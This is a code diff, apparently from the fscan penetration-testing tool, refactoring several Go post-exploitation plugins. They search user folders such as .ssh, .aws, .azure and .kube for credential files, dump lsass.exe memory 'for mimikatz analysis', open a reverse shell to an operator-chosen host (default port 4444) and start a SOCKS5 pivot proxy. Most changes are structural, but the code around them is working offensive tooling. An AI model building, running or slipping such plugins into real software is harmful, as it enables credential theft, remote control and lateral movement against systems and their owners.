// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
var dirs []string
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
dirs = []string{
// 用户目录的关键文件夹
c.GetCommonDirectories()[0], // homeDir
filepath.Join(c.GetCommonDirectories()[0], "Desktop"),
filepath.Join(c.GetCommonDirectories()[0], "Documents"),
filepath.Join(c.GetCommonDirectories()[0], "Downloads"),
filepath.Join(c.GetCommonDirectories()[0], ".ssh"),
filepath.Join(c.GetCommonDirectories()[0], ".aws"),
filepath.Join(c.GetCommonDirectories()[0], ".azure"),
filepath.Join(c.GetCommonDirectories()[0], ".kube"),
homeDir,
filepath.Join(homeDir, "Desktop"),
filepath.Join(homeDir, "Documents"),
filepath.Join(homeDir, "Downloads"),
filepath.Join(homeDir, ".ssh"),
filepath.Join(homeDir, ".aws"),
filepath.Join(homeDir, ".azure"),
filepath.Join(homeDir, ".kube"),
// 公共目录的关键部分
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
}
case "linux", "darwin":
homeDir := c.GetCommonDirectories()[0]
dirs = []string{
homeDir,
filepath.Join(homeDir, "Desktop"),
@ -190,25 +176,15 @@ func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
return validDirs
}
// ScanLocal 执行本地文件扫描
// ScanLocal 执行本地文件扫描 - 简化版本
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始本地敏感文件扫描...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
common.LogInfo("开始本地敏感文件扫描...")
foundFiles := make([]string, 0)
// 扫描固定位置的敏感文件
common.LogDebug("扫描固定敏感文件位置...")
for _, file := range p.connector.sensitiveFiles {
for _, file := range p.sensitiveFiles {
if p.checkFile(file) {
foundFiles = append(foundFiles, file)
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
@ -220,21 +196,29 @@ func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
searchFiles := p.searchSensitiveFiles()
foundFiles = append(foundFiles, searchFiles...)
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: len(foundFiles) > 0,
Success: true,
Service: "FileInfo",
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
Extra: map[string]interface{}{
"files": foundFiles,
"total_count": len(foundFiles),
"platform": runtime.GOOS,
"files": foundFiles,
"total_count": len(foundFiles),
"platform": runtime.GOOS,
"system_info": systemInfo,
"search_dirs": len(p.searchDirs),
},
}
if len(foundFiles) > 0 {
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
for _, file := range foundFiles {
common.LogSuccess(fmt.Sprintf("发现: %s", file))
}
} else {
common.LogDebug("未发现敏感文件")
common.LogInfo("未发现敏感文件")
}
return result, nil
@ -283,7 +267,7 @@ func (p *FileInfoPlugin) searchSensitiveFiles() []string {
maxFiles := 50 // 限制最多找到的文件数量
maxDepth := 4 // 限制递归深度
for _, searchPath := range p.connector.searchDirs {
for _, searchPath := range p.searchDirs {
if len(foundFiles) >= maxFiles {
break
}
@ -357,9 +341,9 @@ func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
return false
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
// RegisterFileInfoPlugin 注册文件信息收集插件
func RegisterFileInfoPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
@ -372,5 +356,25 @@ func init() {
func() base.Plugin {
return NewFileInfoPlugin()
},
))
)
base.GlobalPluginRegistry.Register("fileinfo", factory)
}
// GetInfo 获取插件信息
func (p *FileInfoPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("本地敏感文件扫描插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterFileInfoPlugin()
}

View File

@ -6,49 +6,21 @@ import (
"github.com/shadow1ng/fscan/plugins/base"
)
// LocalConnector 本地信息收集连接器接口
type LocalConnector interface {
// Connect 建立本地连接(实际上是初始化本地环境)
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
// Close 关闭连接和清理资源
Close(conn interface{}) error
// GetSystemInfo 获取系统信息
GetSystemInfo(conn interface{}) (map[string]string, error)
}
// LocalScanner 本地扫描器接口
type LocalScanner interface {
base.Scanner
// ScanLocal 执行本地扫描
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetLocalData 获取本地数据
GetLocalData(ctx context.Context) (map[string]interface{}, error)
}
// LocalExploiter 本地信息提取器接口
type LocalExploiter interface {
base.Exploiter
// ExtractData 提取本地数据
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
}
// LocalPlugin 本地插件接口
// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描
type LocalPlugin interface {
base.Plugin
LocalScanner
LocalExploiter
// GetLocalConnector 获取本地连接器
GetLocalConnector() LocalConnector
// ScanLocal 执行本地扫描 - 核心功能
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetPlatformSupport 获取支持的平台
GetPlatformSupport() []string
// RequiresPrivileges 是否需要特殊权限
RequiresPrivileges() bool
}
}
// 移除不必要的接口:
// - LocalConnector: 本地插件不需要"连接"概念
// - LocalScanner: 功能合并到LocalPlugin中
// - LocalExploiter: 本地插件不需要攻击利用功能

View File

@ -12,6 +12,7 @@ import (
"golang.org/x/sys/windows"
"os"
"path/filepath"
"strings"
"syscall"
"time"
"unsafe"
@ -53,15 +54,9 @@ type TOKEN_PRIVILEGES struct {
Privileges [1]LUID_AND_ATTRIBUTES
}
// MiniDumpPlugin 内存转储插件
// MiniDumpPlugin 内存转储插件 - 使用简化架构
type MiniDumpPlugin struct {
*local.BaseLocalPlugin
connector *MiniDumpConnector
}
// MiniDumpConnector 内存转储连接器
type MiniDumpConnector struct {
*local.BaseLocalConnector
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
@ -74,7 +69,7 @@ type ProcessManager struct {
advapi32 *syscall.DLL
}
// NewMiniDumpPlugin 创建内存转储插件
// NewMiniDumpPlugin 创建内存转储插件 - 简化版本
func NewMiniDumpPlugin() *MiniDumpPlugin {
metadata := &base.PluginMetadata{
Name: "minidump",
@ -86,10 +81,8 @@ func NewMiniDumpPlugin() *MiniDumpPlugin {
Protocols: []string{"local"},
}
connector := NewMiniDumpConnector()
plugin := &MiniDumpPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
}
// 仅支持Windows平台
@ -105,62 +98,52 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info)
}
// NewMiniDumpConnector 创建内存转储连接器
func NewMiniDumpConnector() *MiniDumpConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &MiniDumpConnector{
BaseLocalConnector: baseConnector,
// Initialize 初始化插件
func (p *MiniDumpPlugin) Initialize() error {
// 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return err
}
// 加载系统DLL
return p.loadSystemDLLs()
}
// Connect 建立内存转储连接
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
return nil, err
}
// loadSystemDLLs 加载系统DLL
func (p *MiniDumpPlugin) loadSystemDLLs() error {
common.LogDebug("开始加载系统DLL...")
// 加载系统DLL - 添加错误处理
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
common.LogDebug("kernel32.dll 加载成功")
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
common.LogDebug("Dbghelp.dll 加载成功")
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
common.LogDebug("advapi32.dll 加载成功")
c.kernel32 = kernel32
c.dbghelp = dbghelp
c.advapi32 = advapi32
p.kernel32 = kernel32
p.dbghelp = dbghelp
p.advapi32 = advapi32
common.LogSuccess("所有DLL加载完成")
return localConn, nil
return nil
}
// Close 关闭连接
func (c *MiniDumpConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// ScanLocal 执行内存转储扫描
// ScanLocal 执行内存转储扫描 - 简化版本
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
defer func() {
if r := recover(); r != nil {
@ -168,7 +151,7 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
}
}()
common.LogBase("开始进程内存转储...")
common.LogInfo("开始进程内存转储...")
// 检查管理员权限
if !p.isAdmin() {
@ -181,25 +164,12 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
common.LogSuccess("已确认具有管理员权限")
// 建立连接
common.LogDebug("正在建立连接...")
conn, err := p.connector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("连接失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
common.LogSuccess("连接建立成功")
// 创建进程管理器
common.LogDebug("正在创建进程管理器...")
pm := &ProcessManager{
kernel32: p.connector.kernel32,
dbghelp: p.connector.dbghelp,
advapi32: p.connector.advapi32,
kernel32: p.kernel32,
dbghelp: p.dbghelp,
advapi32: p.advapi32,
}
common.LogSuccess("进程管理器创建成功")
@ -261,15 +231,19 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
fileSize = fileInfo.Size()
}
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: true,
Service: "MiniDump",
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
Extra: map[string]interface{}{
"process_name": "lsass.exe",
"process_id": pid,
"dump_file": outputPath,
"file_size": fileSize,
"system_info": systemInfo,
},
}
@ -607,9 +581,9 @@ func (pm *ProcessManager) closeHandle(handle uintptr) {
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
// RegisterMiniDumpPlugin 注册内存转储插件
func RegisterMiniDumpPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
@ -622,5 +596,24 @@ func init() {
func() base.Plugin {
return NewMiniDumpPlugin()
},
))
)
base.GlobalPluginRegistry.Register("minidump", factory)
}
// GetInfo 获取插件信息
func (p *MiniDumpPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows进程内存转储插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
info.WriteString("要求: 需要管理员权限\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterMiniDumpPlugin()
}

View File

@ -4,27 +4,27 @@ import (
"context"
"errors"
"fmt"
"os"
"os/user"
"runtime"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// BaseLocalPlugin 本地插件基础实现
// BaseLocalPlugin 本地插件基础实现 - 简化架构
type BaseLocalPlugin struct {
*base.BasePlugin
connector LocalConnector
platforms []string
platforms []string
requiresPrivileges bool
}
// NewBaseLocalPlugin 创建基础本地插件
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin {
basePlugin := base.NewBasePlugin(metadata)
return &BaseLocalPlugin{
BasePlugin: basePlugin,
connector: connector,
platforms: []string{"windows", "linux", "darwin"},
BasePlugin: basePlugin,
platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台
requiresPrivileges: false,
}
}
@ -60,37 +60,36 @@ func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo)
}, nil
}
// Exploit 执行利用
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 获取本地数据
data, err := p.GetLocalData(ctx)
if err != nil {
return &base.ExploitResult{
Success: false,
Error: fmt.Errorf("获取本地数据失败: %v", err),
}, nil
// GetSystemInfo 获取系统信息 - 实用工具方法
func (p *BaseLocalPlugin) GetSystemInfo() map[string]string {
systemInfo := make(map[string]string)
systemInfo["os"] = runtime.GOOS
systemInfo["arch"] = runtime.GOARCH
if homeDir, err := os.UserHomeDir(); err == nil {
systemInfo["home_dir"] = homeDir
}
return p.ExtractData(ctx, info, data)
if workDir, err := os.Getwd(); err == nil {
systemInfo["working_dir"] = workDir
}
systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if currentUser, err := user.Current(); err == nil {
systemInfo["username"] = currentUser.Username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
systemInfo["hostname"] = hostname
}
return systemInfo
}
// GetLocalData 默认获取本地数据实现(子类应重写)
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
}
// ExtractData 默认数据提取实现(子类应重写)
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: false,
Error: errors.New("ExtractData方法需要在子类中实现"),
}, nil
}
// GetLocalConnector 获取本地连接器
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
return p.connector
}
// GetPlatformSupport 获取支持的平台
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
@ -142,14 +141,25 @@ func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
}
}
// 平台特定的权限检查函数
// 平台特定的权限检查函数 - 实际实现
func isWindowsAdmin() bool {
// 这里可以调用Windows API检查管理员权限
// 简化实现实际应该使用Windows API
return false
// Windows管理员权限检查尝试写入系统目录
testPath := `C:\Windows\Temp\fscan_admin_test`
file, err := os.Create(testPath)
if err != nil {
// 无法创建文件,可能没有管理员权限
return false
}
file.Close()
os.Remove(testPath)
return true
}
func isUnixRoot() bool {
// 检查是否为root用户
return false
// Unix/Linux root用户检查
currentUser, err := user.Current()
if err != nil {
return false
}
return currentUser.Uid == "0"
}

View File

@ -17,29 +17,15 @@ import (
"github.com/shadow1ng/fscan/plugins/local"
)
// ReverseShellPlugin 反弹Shell插件
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
type ReverseShellPlugin struct {
*local.BaseLocalPlugin
connector *ReverseShellConnector
target string // 目标地址:端口
target string // 目标地址:端口
host string
port int
}
// ReverseShellConnector 反弹Shell连接器
type ReverseShellConnector struct {
*local.BaseLocalConnector
host string
port int
}
// ReverseShellConnection 反弹Shell连接对象
type ReverseShellConnection struct {
*local.LocalConnection
Target string
Host string
Port int
}
// NewReverseShellPlugin 创建反弹Shell插件
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget
@ -58,25 +44,7 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
Protocols: []string{"local"},
}
connector := NewReverseShellConnector(target)
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
target: target,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewReverseShellConnector 创建反弹Shell连接器
func NewReverseShellConnector(target string) *ReverseShellConnector {
baseConnector, _ := local.NewBaseLocalConnector()
// 解析目标地址
host, portStr, err := net.SplitHostPort(target)
if err != nil {
host = target
@ -88,39 +56,25 @@ func NewReverseShellConnector(target string) *ReverseShellConnector {
port = 4444 // 默认端口
}
return &ReverseShellConnector{
BaseLocalConnector: baseConnector,
host: host,
port: port,
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
target: target,
host: host,
port: port,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Connect 建立反弹Shell连接
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 跳过连通性测试避免抢占反弹shell连接通道
// 反弹shell会在实际使用时进行连接这里不需要预先测试
reverseShellConn := &ReverseShellConnection{
LocalConnection: baseConn,
Target: fmt.Sprintf("%s:%d", c.host, c.port),
Host: c.host,
Port: c.port,
}
return reverseShellConn, nil
}
// Close 关闭反弹Shell连接
func (c *ReverseShellConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
// Initialize 初始化插件
func (p *ReverseShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
@ -128,27 +82,15 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
// ScanLocal 执行反弹Shell扫描 - 简化版本
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
reverseShellConn := conn.(*ReverseShellConnection)
// 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
err := p.startNativeReverseShell(ctx, p.host, p.port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{
@ -160,9 +102,9 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf
result := &base.ScanResult{
Success: true,
Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
Extra: map[string]interface{}{
"target": reverseShellConn.Target,
"target": p.target,
"platform": runtime.GOOS,
"implementation": "go_native",
"status": "completed",
@ -299,8 +241,10 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
info.WriteString("Go原生反弹Shell插件\n")
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 建立反弹Shell连接支持交互式命令执行\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()

View File

@ -15,27 +15,14 @@ import (
"github.com/shadow1ng/fscan/plugins/local"
)
// Socks5ProxyPlugin SOCKS5代理插件
// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构
type Socks5ProxyPlugin struct {
*local.BaseLocalPlugin
connector *Socks5ProxyConnector
port int
listener net.Listener
port int
listener net.Listener
}
// Socks5ProxyConnector SOCKS5代理连接器
type Socks5ProxyConnector struct {
*local.BaseLocalConnector
port int
}
// Socks5ProxyConnection SOCKS5代理连接对象
type Socks5ProxyConnection struct {
*local.LocalConnection
Port int
}
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
// 从全局参数获取SOCKS5端口
port := common.Socks5ProxyPort
@ -53,14 +40,12 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
Protocols: []string{"local"},
}
connector := NewSocks5ProxyConnector(port)
plugin := &Socks5ProxyPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
port: port,
}
// 设置支持的平台
// 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
@ -68,44 +53,10 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
return plugin
}
// NewSocks5ProxyConnector 创建SOCKS5代理连接器
func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &Socks5ProxyConnector{
BaseLocalConnector: baseConnector,
port: port,
}
}
// Connect 建立SOCKS5代理连接
func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 检查端口是否可用
testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port))
if err != nil {
return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err)
}
testListener.Close() // 立即关闭测试监听器
socks5Conn := &Socks5ProxyConnection{
LocalConnection: baseConn,
Port: c.port,
}
return socks5Conn, nil
}
// Close 关闭SOCKS5代理连接
func (c *Socks5ProxyConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
// Initialize 初始化插件
func (p *Socks5ProxyPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
@ -113,27 +64,15 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*b
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器
// ScanLocal 执行SOCKS5代理扫描 - 简化版本
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动SOCKS5代理服务器...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
socks5Conn := conn.(*Socks5ProxyConnection)
// 启动SOCKS5代理服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port))
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port))
// 直接在当前goroutine中运行这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
err = p.startSocks5Server(ctx, socks5Conn.Port)
err := p.startSocks5Server(ctx, p.port)
if err != nil {
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
return &base.ScanResult{
@ -145,9 +84,9 @@ func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo
result := &base.ScanResult{
Success: true,
Service: "SOCKS5Proxy",
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS),
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{
"port": socks5Conn.Port,
"port": p.port,
"platform": runtime.GOOS,
"protocol": "socks5",
"status": "completed",
@ -402,8 +341,10 @@ func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostIn
func (p *Socks5ProxyPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port))
info.WriteString("SOCKS5代理服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供本地SOCKS5代理服务支持TCP连接转发\n")
info.WriteString("协议: SOCKS5支持HTTP/HTTPS代理\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")

12
main.go
View File

@ -8,12 +8,12 @@ import (
"github.com/shadow1ng/fscan/core"
// 引入本地插件以触发注册
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell"
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy"
_ "github.com/shadow1ng/fscan/plugins/local/avdetect"
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
)
func main() {